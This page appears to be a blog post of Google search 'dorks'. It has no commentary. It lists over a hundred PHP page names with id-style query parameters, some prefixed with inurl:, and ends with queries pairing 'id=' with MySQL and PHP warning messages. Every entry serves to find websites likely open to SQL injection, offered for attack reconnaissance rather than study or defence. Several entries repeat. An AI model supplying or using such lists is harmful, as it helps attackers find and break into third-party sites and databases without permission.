inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
buy.php?category=
article.php?ID=
play_old.php?id=
declaration_more.php?decl_id=
Pageid=
games.php?id=
page.php?file=
newsDetail.php?id=
gallery.php?id=
article.php?id=
play_old.php?id=
show.php?id=
staff_id=
newsitem.php?num=
readnews.php?id=
top10.php?cat=
historialeer.php?num=
reagir.php?num=
forum_bds.php?num=
game.php?id=
view_product.php?id=
newsone.php?id=
sw_comment.php?id=
news.php?id=
avd_start.php?avd=
event.php?id=
product-item.php?id=
sql.php?id=
news_view.php?id=
select_biblio.php?id=
humor.php?id=
aboutbook.php?id=
fiche_spectacle.php?id=
communique_detail.php?id=
sem.php3?id=
kategorie.php4?id=
faq2.php?id=
show_an.php?id=
preview.php?id=
loadpsb.php?id=
opinions.php?id=
spr.php?id=
pages.php?id=
announce.php?id=
clanek.php4?id=
participant.php?id=
download.php?id=
main.php?id=
review.php?id=
chappies.php?id=
read.php?id=
prod_detail.php?id=
viewphoto.php?id=
article.php?id=
play_old.php?id=
declaration_more.php?decl_id=
category.php?id=
publications.php?id=
fellows.php?id=
downloads_info.php?id=
prod_info.php?id=
shop.php?do=part&id=
Productinfo.php?id=
website.php?id=
Productinfo.php?id=
showimg.php?id=
view.php?id=
rub.php?idr=
view_faq.php?id=
artikelinfo.php?id=
detail.php?ID=
collectionitem.php?id=
band_info.php?id=
product.php?id=
releases.php?id=
ray.php?id=
produit.php?id=
pop.php?id=
shopping.php?id=
productdetail.php?id=
post.php?id=
viewshowdetail.php?id=
clubpage.php?id=
memberInfo.php?id=
section.php?id=
theme.php?id=
page.php?id=
shredder-categories.php?id=
tradeCategory.php?id=
shop_category.php?id=
transcript.php?id=
channel_id=
item_id=
newsid=
trainers.php?id=
buy.php?category=
article.php?ID=
play_old.php?id=
iniziativa.php?in=
detail_new.php?id=
tekst.php?idt=
newscat.php?id=
newsticker_info.php?idn=
rubrika.php?idr=
rubp.php?idr=
offer.php?idf=
hotel.php?id=
art.php?idm=
title.php?id=
look.php?ID=
story.php?id=
labels.php?id=
review.php?id=
chappies.php?id=
news-full.php?id=
news_display.php?getid=
index2.php?option=
ages.php?id=
"id=" & intext:"Warning: mysql_fetch_assoc()
"id=" & intext:"Warning: mysql_fetch_array()
"id=" & intext:"Warning: mysql_num_rows()
"id=" & intext:"Warning: session_start()
"id=" & intext:"Warning: getimagesize()
"id=" & intext:"Warning: Unknown()
"id=" & intext:"Warning: pg_exec()
"id=" & intext:"Warning: array_merge()
"id=" & intext:"Warning: mysql_result()
"id=" & intext:"Warning: mysql_num_rows()
"id=" & intext:"Warning: mysql_query()
"id=" & intext:"Warning: filesize()
"id=" & intext:"Warning: require()

Related Posts Plugin for WordPress, Blogger...
Twitter Delicious Facebook Digg Stumbleupon Favorites More